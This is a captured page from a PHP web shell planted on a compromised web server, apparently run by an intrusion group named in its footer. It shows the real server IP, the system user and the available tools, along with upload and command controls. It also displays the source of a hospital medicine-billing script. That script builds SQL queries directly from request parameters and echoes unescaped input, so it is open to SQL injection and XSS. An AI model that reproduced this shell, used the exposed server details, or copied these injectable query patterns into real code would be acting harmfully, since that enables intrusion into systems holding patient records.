Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.219.239.118
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//medicinebill.php
<?php
session_start();
require_once("../dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$DisplayForm=True;
		$sql= "SELECT * FROM medicine_slot WHERE prescriptionid='$_GET[prescriptionid]' AND srno='$_GET[srno]' AND  action='Paid'";
		$qsql = mysqli_query($con,$sql);
		if($rh = mysqli_fetch_array($qsql))
		{
$DisplayForm=False;
echo "<script>window.location='show_medicineinvace.php?prescriptionid=$rh[prescriptionid]&patientid=$_GET[patientid]&srno=$_GET[srno]'</script>";
}
if($DisplayForm)
{
?>
<?php
include("dbconnection.php");
require_once('../DBManager.php');
require_once('../patientmanager.php');
include("header.php");
include("dashboarddocument.php");
 if(isset($_POST['signup'])) 
{
$sql="UPDATE medicine_slot SET discount='$_POST[discount]',pricetotal='$_POST[pricetotal1]',UpgradeAmt='$_POST[pricetotal1]',price='$_POST[price]',paymentmode='$_POST[paymentmode]',action='$_POST[action]' WHERE srno='$_POST[srno]'";
if($qsql = mysqli_query($con,$sql))
		{
	echo "<script>alert('Update successfully');</script><script>
 window.history.go(-2)</script>";
}
}

 if(isset($_POST['signup'])) 
{

$DRUGS_name=   $_POST["DRUGS_name"];
    $Category=  $_POST["Category"];
    $quantitygiven=  $_POST["quantitygiven"];
    $price=  $_POST["price"];
   $updated_at=date("F d, Y / h:i:s A");
   $created_at=date("F d, Y / h:i:s A");
   
       $Batch_number= $_POST["Batch_number"];
    $HSN_No= $_POST["HSN_No"];
    $GSTfinal= $_POST["GSTfinal"];
    
   $gstper= $_POST["gstper"];
    $expireDate=  $_POST["expireDate"];
     $DisPrice= $_POST["DisPrice"];
    $srno = $_POST['srno'];
    $invoice=mt_rand(1000,99999);
 $sql="INSERT INTO `medicine_charge`(`prescriptionid`, `patientid`, `hospital_Id`, `MedicineName`, `Quantity`, `Price`, `Category`, `TotalAmt`,`FinalAmt`, `gst`, `batchNumber`, `HSN_No`,`gstper`, `Expiry_Date`,`DisPrice`, `pricetotal1`, `Total_gst`, `paymentmode`, `GSTFinalAmt`,`srno`,`invoice_no`, `created_at`, `updated_at`) VALUES ('$_GET[prescriptionid]', '$_GET[patientid]','$_POST[userno]','$DRUGS_name','$_POST[quantitygiven1]','$price','$Category','$_POST[TotalAmt1]','$_POST[FinalAmt1]','$GSTfinal','$Batch_number','$HSN_No','$gstper','$expireDate','$_POST[discount]','$_POST[pricetotal1]','$_POST[Total_gst]','$_POST[paymentmode]','$_POST[GSTFinalAmt]','$srno','$invoice','$created_at','$updated_at')";
 //echo $sql;

if($qsql = mysqli_query($con,$sql))
		{
	echo "<script>
 window.history.go(-2)</script>";
}
}
?>


<?php
session_start();
require_once("../dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
?>
<!DOCTYPE html>
<html> 
  <body>
  <title>Billing and Accounts</title>

  <body>
 
           	<h2 align='center'>Invoice</h2> 
          	<style>
      

#topright {
    position: absolute;
    right: 0;
    top: 0;
     margin-top: 73px;
       margin-right: 30px;
    display: block;
    height: 70px;
    width: 70px;
    background: url(TRbanner.gif) no-repeat;
    text-indent: -999em;
    text-decoration: none;
}
#toprightj {
    position: absolute;
    right: 0;
    top: 0;
     margin-top: 73px;
       margin-right: 120px;
    display: block;
    height: 70px;
    width: 70px;
    background: url(TRbanner.gif) no-repeat;
    text-indent: -999em;
    text-decoration: none;
}


#toprightb {
   
    position: absolute;
    right: 0;
    top: 0;
     margin-top: 73px;
       margin-right: 200px;
    display: block;
    height: 70px;
    width: 70px;
    background: url(TRbanner.gif) no-repeat;
    text-indent: -999em;
    text-decoration: none;
}

       .center {
   border: 1px solid grey;
   text-align:;
}
    .center2 {
   border: 5px solid grey;
   text-align:;
}

  <style>
 
h2 {
  color: #4287f5;
}
a img {
  border: none;
}

#memo {
  padding-top: 50px;
  margin: 0 20px 0 60px;
  border-bottom: 1px solid #ddd;
  height: 150px;
}
#memo .logo {
  float: left;
  margin-right: 20px;
}
#memo .logo img {
  width: 150px;
  height: 100px;
}
#memo .company-info {
  float: right;
  text-align: right;
}
#memo .company-info > div:first-child {

  font-weight: bold;
  font-size: 22px;
  color: #1e73be;
}
#memo .company-info span {
  font-size: 11px;
  min-width: 20px;
}

</style>
  </style>
  </head>
      <div class="content-wrapper">
    <!-- Content Header (Page header) -->
 <div class='center'>
     	      

<section id="memo">
 
        <div class="logo">
            <?php
            $narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
 $sql ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
{
            $sql ="SELECT * FROM hco WHERE adminid='$rs[entered_by]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
			{
		 $sql ="SELECT * FROM admin WHERE id='$rs[adminid]'";
		$qsql = mysqli_query($con,$sql);
		if($ra = mysqli_fetch_array($qsql))
		{
			    echo"
			         <img data-logo='' src='uploads/$rs[Logo]' />
     </div>
              <div class='company-info'>
          <div>$ra[hsname]</div>
          <div>
        <span style='font-size:18px'>$rs[Street]&nbsp;|&nbsp;$rs[Locality]</br>$ra[EmailID]&nbsp;|&nbsp; $ra[numbers]</p></span>
            </div>
   ";           
		}
			}  
		}
          ?>
    <br>
      </section>
 <br>
      <?php
include("dbconnection.php");
$sql ="SELECT * FROM addaspatient WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
$qsql = mysqli_query($con,$sql);
if($rs = mysqli_fetch_array($qsql))
{
         $sql1 ="SELECT * FROM patient WHERE patientid='$rs[patientid]'";
		$qsql1 = mysqli_query($con,$sql1);
		if($rspi1 = mysqli_fetch_array($qsql1))
		{
	$sqlpatient = "SELECT * FROM patient_invace WHERE prescriptionid='$rs[prescriptionid]' AND 	discription='Consultant_fees'";
	$qsqlpatient = mysqli_query($con,$sqlpatient);
	if($rsp = mysqli_fetch_array($qsqlpatient))
	{
	$sqlpatient1 = "SELECT * FROM site_users WHERE userno='$rsp[entered_by]'";
	$qsqlpatient1 = mysqli_query($con,$sqlpatient1);
	if($rsn = mysqli_fetch_array($qsqlpatient1))
	{
	    echo"
<div class='checkbox'><span style='float: left; font-size:19px;'>Date : $rsp[created_at]</span><span style='float: right; font-size:19px;'>Invoice Number :<b>$rsp[invaceid]</b></span></div>
<br>
<div class='checkbox'><span style='float: left; font-size:19px;'>UHID : $rspi1[patientid]</span><span style='float: right; font-size:19px;'>Name :<b>$rspi1[patientname]</b></span></div>
     <br>
     <div class='checkbox'><span style='float: left; font-size:19px;'>Age: $rspi1[dob]</span><span style='float: right; font-size:19px;'>SEX :<b>$rspi1[gendor]</b></span></div>
              <div class='card-body'>
              
      
      ";
	}}}
}
	?>
                
<?php

?>    </tbody>
  <tfoot>
          </tfoot>
        </table>
    <div id="container">
<table id='table' class='table table-bordered table-hover'>
    <form method="post" name="signup">
      <tbody>
                  <tr>
          <th>Medication Details</th>
             <th>Quantity</th>
          <th>Price</th>
              <th><section class="content-header">Action</section></th>
                 </tr>
        </tbody>
            
<?php
include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
$sql6 ="SELECT * FROM medicine_slot WHERE prescriptionid='$_GET[prescriptionid]' AND action='Disperse' AND 	srno='$_GET[srno]'";
		$qsql6 = mysqli_query($con,$sql6);
		while($re1 = mysqli_fetch_array($qsql6))
		{
	$sql1 ="SELECT * FROM site_users WHERE userno='$re1[entered_by]'";
		$qsql1 = mysqli_query($con,$sql1);
		while($re = mysqli_fetch_array($qsql1))
		{
		    $sql2 ="SELECT * FROM medicine_stok WHERE medicine_id='$re1[medicine_id]'";
$qsql2 = mysqli_query($con,$sql2);
while($re2 = mysqli_fetch_array($qsql2))


{

    		    $sql5 ="SELECT * FROM medicine_inventory WHERE medicine_id='$re1[medicine_id]' AND Batch_number='$re1[batchno]'";
$qsql5 = mysqli_query($con,$sql5);
while($re5 = mysqli_fetch_array($qsql5))
{
         if($re2['Category']=='Injectable'){
	               $cat="Vial";
		          $sizefinal=$re5[mrp]/$re2[size];
                  $pricetotal=$sizefinal*$re2[quantitygiven];
		        }
		        if($re2['Category']=='IV Fluid'){
		            $cat="Bottle";
		            $sizefinal=$re5[mrp]/$re2[size];
                    $pricetotal=$sizefinal*$re1[quantitygiven];
		        }
		        if($re2['Category']=='Capsule'){
		            $cat="Capsules";
		            $sizefinal=$re5[mrp]/$re2[size];
                    $pricetotal=$sizefinal*$re1[quantitygiven];
		        }
		        if($re2['Category']=='Tablet'){
		            $cat="Tablets";
		            $sizefinal=$re5[mrp]/$re2[size];
                    $pricetotal=$sizefinal*$re1[quantitygiven];
		        }
		        if($re2['Category']=='Syrup'){
		            $cat="Bottle";
		            $sizefinal=$re5[mrp]/$re2[size];
                    $pricetotal=$sizefinal*$re1[quantitygiven];
		        }
		        if($re2['Category']=='Powder'){
		            $cat="Bottle";
                	$sizefinal=$re5[mrp]/$re2[size];
                    $pricetotal=$sizefinal*$re1[quantitygiven];
		        }
		        if($re2['Category']=='Ointment'){
		            $cat="Tube";
		            $sizefinal=$re5[mrp]/$re2[size];
                    $pricetotal=$sizefinal*$re1[quantitygiven];
		        }
		        
		        if($re2['Category']=='Drop'){
		            $cat="Bottle";
		            $sizefinal=$re5[mrp]/$re2[size];
                    $pricetotal=$sizefinal*$re1[quantitygiven];
		        }
		         
		        if($re2['Category']=='Solution'){
		            $cat="Bottle";
		             $sizefinal=$re5[mrp]/$re2[size];
                     $pricetotal=$sizefinal*$re1[quantitygiven];
		        }
		        
		        if($re2['Category']=='Patch'){
		            $cat="Patch";
		            $sizefinal=$re5[mrp]/$re2[size];
                    $pricetotal=$sizefinal*$re1[quantitygiven];
		        }
    $sizefinal=$re5[mrp]/$re2[size];
    $pricetotal=$sizefinal*$re1[quantitygiven];
    
    
      $disGST=$pricetotal/100;
                $GSTfinal1=$disGST*$re5[gst]; 
                $GSTfinal=round($GSTfinal1) ;
                
                $GRANDTOTAL=$re1[pricetotal];
    echo"<tr>";
		     echo "  
            <td>
             <form name='signup' method='post'>
              <input name='userno' class='name' type='hidden' value='$re[userno]' />
             <input type='hidden' name='action' value='Paid'>
        <input type='hidden' id='srno' name='srno' value='$re1[srno]'>     
<input class='DisPrice' id='DisPrice' type='hidden' name='DisPrice' value='$re1[pricetotal]'/>
<input type='hidden' value='$re5[medicine_id]' name='medicine_id'>

<input type='hidden' value='$re5[inventory_id]' name='inventory_id'>


<input class='price' id='price' type='hidden' name='price' value='$pricetotal'/>

<input name='DRUGS_name' class='DRUGS_name' type='hidden' value='$re2[DRUGS_name]' />
<input name='Category' class='Category' type='hidden' value='$re2[Category]' />
<input name='quantitygiven1' id='qty' class='quantitygiven' type='hidden' value='$re1[quantitygiven]' />

<input name='Batch_number' class='Batch_number' type='hidden' value='$re5[Batch_number]' />
<input name='HSN_No' class='HSN_No' type='hidden' value='$re5[HSN_No]' />
<input name='GSTfinal' id='gst' class='gst' type='hidden' value='$GSTfinal' />
<input name='gstper' id='gstper' class='gstper' type='hidden' value='$re5[gst]' />
<input name='expireDate' id='expireDate' class='expireDate' type='hidden' value='$re5[Expiry_Date]' />
            
            
            <b>Name :</b> $re2[DRUGS_name] <br><b>Dose :</b> $re2[Dose] <br><b>	Category :</b> $re2[Category] <br>	<b>	Batch No :</b> $re1[batchno] </td>
                 <td><input type='hidden' value='$re2[medicine_id]' name='medicine_id' ><input type='hidden' value='$re1[quantitygiven]' name='slot_id' >$re1[quantitygiven] ($cat)<input type='hidden' value='$z' name='quantitygiven' > <input type='hidden' value='$pricetotal' name='price'>
                  <input type='hidden' value='$re[entered_by]' name='admin_id'> 
              </td>";

echo"
	<td>
$pricetotal
</td>
   <td>  <section class='content-header'><a href='billing.php?prescriptionid=$re1[prescriptionid]&patientid=$re1[patientid]&srno=$re1[srno]'><i class='fa fa-pencil-square-o' style='font-size:20px; color:#035487;'></i></a>
</section>   </td> </tr>
 ";


}
}
}
}
?>
<tr>
  <td colspan=9>


 <?php
       $sql6 ="SELECT * FROM medicine_slot WHERE prescriptionid='$_GET[prescriptionid]' AND action='Disperse' AND 	srno='$_GET[srno]'";
		$qsql6 = mysqli_query($con,$sql6);
		while($re1 = mysqli_fetch_array($qsql6))
		{
	$sql1 ="SELECT * FROM site_users WHERE userno='$re1[entered_by]'";
		$qsql1 = mysqli_query($con,$sql1);
		while($re = mysqli_fetch_array($qsql1))
		{
		    $sql2 ="SELECT * FROM medicine_stok WHERE medicine_id='$re1[medicine_id]'";
$qsql2 = mysqli_query($con,$sql2);
while($re2 = mysqli_fetch_array($qsql2))
{
    		    $sql5 ="SELECT * FROM medicine_inventory WHERE medicine_id='$re1[medicine_id]' AND Batch_number='$re1[batchno]'";
$qsql5 = mysqli_query($con,$sql5);
while($re5 = mysqli_fetch_array($qsql5))
{
    $sizefinal=$re5[mrp]/$re2[size];
    $pricetotal=$sizefinal*$re1[quantitygiven];

	    echo"
	       <form name='signup' method='post'>
        <div class='col-sm-10'></div><div class='col-sm-2'>  <b><i class='fa fa-inr'></i>  <span align='right' id='val'></b></span>
         
       <div class=''> <b><i class='fa fa-inr'></i> <span align='right' id='val2'></span></div>
      <div class=''> <b><i class='fa fa-inr'></i> <span align='right' id='AddGST'></span></div>
   
      
 
        <input type='hidden' id='cBalance'>
   
              <div class=''><span><input type='text' name='discount' id='chDiscount' size='2'></span></div>
             
           <div class=''> <input type='text' name='pricetotal1' size='2' id='result' required style='margin-top:5px;'></span></div>
           
           
           <div class=''> <input type='hidden' name='Total_gst' size='2' id='result2' required style='margin-top:5px;'></span></div>
           
           
             <div class='checkbox'> <select name='paymentmode'>
             <option value='Cash'>Cash</option>
              <option value='Card'>Card</option>
               <option value='UPI'>UPI</option>
             </select></span></div>
           
	</div>
 <input type='hidden' id='total_value' name='TotalAmt1' />
  
     <input type='hidden' id='Final_value1' name='FinalAmt1' />
    <input type='hidden' id='GSTFinalAmt' name='GSTFinalAmt' />
             <input type='hidden' name='action' value='Paid'>
             	<input type='submit' name='signup' value='Pay'>
	
	</form>
                     ";
	}
}
}
}
	?>
	 <br>
  
              <br>
              
      </div>
         
    </tr></td></table>
     <script>
        $(document).on("change keyup blur", "#chDiscount", function() {
            var main = $('#cBalance').val();
            var disc = $('#chDiscount').val();
            var dec = (disc / 100).toFixed(2); //its convert 10 into 0.10
            var mult = main * dec; // gives the value for subtract from main value
            var discont = main - mult;
            $('#result').val(discont);
        });
    </script>
    <script>
        $(document).on("change keyup blur", "#chDiscount", function() {
            var main2 = $('#GSTFinalAmt').val();
            var disc2 = $('#chDiscount').val();
            var dec2 = (disc2 / 100).toFixed(2); //its convert 10 into 0.10
            var mult2 = main2 * dec2; // gives the value for subtract from main value
            var discont2 = main2 - mult2;
            $('#result2').val(discont2);
        });
    </script>
    

<?php
}
?>
  <script>
            
            var table = document.getElementById("myTable"), sumVal = 0;
            
            $(".price").each(function() {
                    sumVal += Number($(this).val());
                   
                 });
            document.getElementById("val").innerHTML = "" + sumVal;
            $('#total_value').val(sumVal);
            
            
            
            
            document.getElementById("val2").innerHTML = "" + sumVal;
            $('#total_value2').val(sumVal);
            
            document.getElementById("val2").innerHTML = "" + sumVal;
            $('#result').val(sumVal);
            
            document.getElementById("val2").innerHTML = "" + sumVal;
            $('#cBalance').val(sumVal);
            console.log(sumVal);
            
             </script>
          
             <script>
               ///////////////////Dis Price///////////////////
              var table2 = document.getElementById("myTable"), DissumVal = 0;
            
            $(".DisPrice").each(function() {
                    DissumVal += Number($(this).val());
                   
                 });
            document.getElementById("DisVal").innerHTML = "" + DissumVal;
            $('#Final_value1').val(DissumVal);
            console.log(DissumVal);
             </script>
             
             <script>
             ////////////////////GST Final Value//////////////////
              var table3 = document.getElementById("myTable"), sumGST = 0;
            
           $(".gst").each(function() {
                    sumGST += Number($(this).val());
                    console.log(sumGST);
                   
                 });
            document.getElementById("AddGST").innerHTML = "" + sumGST;
            $('#GSTFinalAmt').val(sumGST)
            console.log(sumGST);
          
        </script>
         
 <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.4.3/jquery.min.js"></script>

  

Anon7 - 2022
AnonSec Team